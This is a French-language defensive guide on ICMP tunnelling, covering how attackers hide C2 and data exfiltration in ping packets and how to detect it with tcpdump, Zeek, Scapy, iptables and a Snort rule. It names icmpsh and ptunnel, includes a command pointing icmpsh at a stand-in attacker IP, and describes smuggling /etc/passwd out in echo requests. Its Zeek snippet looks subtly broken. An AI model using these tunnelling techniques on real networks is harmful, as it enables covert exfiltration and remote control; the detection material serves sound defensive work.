
Le tunnel ICMP, parfois appelé "attaques souterraines basées sur le ping", est une technique d'attaque furtive du réseau où des acteurs malveillants dissimulent des activités de commande et contrôle (C2) ou d'exfiltration de données dans des paquets ICMP (Internet Control Message Protocol), en apparence inoffensifs. Étant donné que l'ICMP—généralement connu pour les requêtes ping—passe souvent inaperçu par les systèmes de pare-feu et de détection d'intrusion, il représente un véritable défi pour les équipes de sécurité informatique.
Dans ce guide, nous expliquerons ce qu'est le tunnel ICMP, comment les attaquants l'implémentent, pourquoi c'est une méthode d'évasion attrayante, et—ce qui est le plus important—comment les professionnels de la sécurité et les administrateurs réseau peuvent détecter et se défendre contre les attaques de tunnel ICMP. Nous partirons d’explications pour débutants jusqu'à la détection avancée, incluant des exemples concrets et des extraits de code pour scanner, surveiller, et analyser le trafic réseau à la recherche d'activité de tunnel ICMP.
Le Protocole de Message de Contrôle Internet (ICMP) est une partie fondamentale de la suite de protocoles Internet. Il est conçu pour les messages d'erreur, diagnostics réseau, et messageries de statut.
Faits Clés :
ping), Destination Inaccessible, Temps Expiré, et d'autres.ping, traceroute), rapport d'erreurs entre appareils réseau.Lorsque vous exécutez :
ping google.com
Votre ordinateur génère une série de paquets ICMP de Requête Echo, et Google (s'il autorise le ping) répond avec des paquets ICMP de Réponse Echo.
Le tunnel ICMP est une technique qui encapsule des données de charge utile arbitraires dans des paquets ICMP. Ces données peuvent inclure des fichiers exfiltrés, des commandes shell, ou même une connexion TCP entière, toutes dissimulées à l'intérieur de requêtes ou réponses ping en apparence normales.
Étant donné que les organisations permettent souvent au trafic ICMP de traverser leurs pare-feux périmétriques (pour le dépannage légitime), les attaquants exploitent cette confiance pour faire passer des données dissimulées ou créer des portes dérobées dans un réseau.
Définition :
Le tunnel ICMP est une méthode de communication cachée où les attaquants encodent des données malveillantes ou non autorisées dans des paquets ICMP pour contourner les contrôles d'accès du réseau.
Le tunnel ICMP exploite la structure des paquets ICMP—surtout la Requête/Réponse Echo—pour transporter des données supplémentaires, cachées.
icmpsh, ptunnel, ou des scripts personnalisés.Un paquet ICMP de Requête Echo normal pourrait ressembler à ceci :
| Champ | Valeur Exemple |
|---|---|
| Type | 8 (Requête Echo) |
| Code | 0 |
| Checksum | 6920 |
| Identifiant | 13 |
| Numéro de Séquence | 250 |
| Données | "Hello, world!" |
Une attaque de tunnel ICMP pourrait placer des données exfiltrées encodées en base64 dans la section "Données".
Les pare-feux bloquent généralement les connexions externes directes (par ex., SSH sortant, exfiltration via HTTP/S).
Cependant, l'ICMP est fréquemment en liste blanche pour permettre le dépannage réseau, même au-delà des frontières organisationnelles.
Les acteurs de menaces persistantes avancées (APT) utilisent des tunnels ICMP pour gérer des hôtes compromis, envoyer des commandes, et extraire des fichiers—tout cela sans déclencher d'alertes réseau classiques.
Une gamme d'outils de sécurité offensive open source supporte le tunnel ICMP:
Une menace interne ou un malware sur un poste de travail souhaite faire passer des fichiers sensibles hors de l'organisation.
Étapes :
/etc/passwd) sont divisés, encodés, et cachés à l'intérieur de multiples Requêtes Echo.Les testeurs de pénétration et les attaquants déploient des outils comme icmpsh :
icmpsh -t <ip_attaquant>.Des rapports ont émergé sur des APTs et des malwares (notamment Backdoor.Win32.ICMPdoor) utilisant le tunnel ICMP pour un accès persistant dans des environnements de haute sécurité qui autrement bloquent tout sauf HTTP/HTTPS—et ICMP.
La détection du tunnel ICMP repose sur l'identification de modèles anormaux ou l'inspection des charges utiles des paquets ICMP.
Un outil de capture de paquets souvent utilisé pour inspecter le trafic ICMP.
# Capture tout le trafic ICMP, sortie détaillée
sudo tcpdump -n -v icmp
Exemple de sortie suspecte (tronquée) :
IP 10.10.10.5 > 203.0.113.10: ICMP echo request, id 4567, seq 3344, longueur 1024
Note : 1024 octets est beaucoup plus grand que la charge utile ICMP de ping normale !
Un analyseur graphique de paquets.
icmpUn puissant outil de surveillance de la sécurité réseau avec des scripts ICMP intégrés.
Script pour enregistrer les charges utiles ICMP anormales :
event icmp_message(c: connection, icmp: icmp_hdr)
{
if ( c$id$orig_h !in Site::internal_networks )
{
# Enregistrer ou alerter sur les grandes charges utiles
if ( c$payload && |c$payload| > 500 )
local alert = fmt("Grande charge utile ICMP de %s à %s", c$id$orig_h, c$id$resp_h);
}
}
Exemple Bash : Enregistrer toutes les charges utiles de ping sortantes.
sudo tcpdump -nn -X icmp and host 203.0.113.10 | grep -A 10 "ICMP"
Exemple Python : Analyser pcap pour des charges utiles ICMP anormales
from scapy.all import *
def scan_icmp_pcap(pcap_file):
packets = rdpcap(pcap_file)
for pkt in packets:
if pkt.haslayer(ICMP):
if len(pkt[ICMP].payload) > 100:
print(f"ICMP suspect de {pkt[IP].src} à {pkt[IP].dst} : {bytes(pkt[ICMP].payload)[:30]}...")
scan_icmp_pcap('capture.pcap')
Pour chasser de manière proactive l'utilisation abusive de tunnels ICMP, les analyses régulières et la détection d'anomalies sont vitales.
Utilisez des outils comme ELK stack, Zeek, Wireshark pour :
Trouver les plus grands paquets ICMP en temps réel :
sudo tcpdump -ni eth0 icmp and greater 200
Lister les tailles de paquets à partir de la capture :
sudo tcpdump -nn -r capture.pcap icmp | awk '{print $NF}' | sort | uniq -c | sort -nr
Python Scapy : Rapporter les requêtes echo avec de grandes charges utiles
from scapy.all import *
def detect_large_icmp(pcap_file):
for pkt in rdpcap(pcap_file):
if pkt.haslayer(ICMP) and pkt[ICMP].type == 8:
if len(pkt[ICMP].payload) > 200:
print(f"Grande Requête Echo ICMP : {pkt[IP].src} -> {pkt[IP].dst}, taille={len(pkt[ICMP].payload)}")
detect_large_icmp("icmp_traf.pcap")
Exemple : Bloquer l'ICMP sortant avec iptables
sudo iptables -A OUTPUT -p icmp --icmp-type echo-request -j DROP
Exemple de Règle Snort :
alert icmp any any -> any any (msg:"Taille de Charge Utile ICMP Suspecte"; dsize:>200; sid:1000001; rev:1;)
Des recherches montrent que la surveillance sans état—observer les flux et tailles de paquets ICMP, non seulement leur état ou séquence—peut être un moyen évolutif et à faible impact pour détecter le tunneling.
Selon Singh & Nordström, les modèles sans état peuvent efficacement signaler les canaux secrets sans affecter significativement les hôtes finaux ou les routeurs—même à grande échelle.
Le tunnel ICMP représente une menace lente et discrète qui s'intègre parfaitement dans les opérations réseau légitimes, rendant la détection et la défense difficiles pour les équipes bleues. Avec l'utilisation généralisée de l'ICMP pour le diagnostic et la fréquence à laquelle les organisations permettent à un tel trafic de passer à travers leurs pare-feux, il est un vecteur idéal pour les attaquants établissant une commande et contrôle clandestine, exfiltrant des données sensibles, ou accédant à des hôtes compromis.
En établissant une ligne de base de l'activité ICMP légitime de votre réseau et en employant à la fois une détection basée sur les signatures et sur les anomalies, votre organisation peut neutraliser ce vecteur de menaces furtif avant qu'il ne provoque une perte de données ou une compromission supplémentaire.
Sécurisez votre périmètre—et ne négligez jamais le humble ping !
Si vous avez trouvé ce contenu utile, imaginez ce que vous pourriez accomplir avec notre programme de formation élite complet de 47 semaines. Rejoignez plus de 1 200 étudiants qui ont transformé leur carrière grâce aux techniques de l'Unité 8200.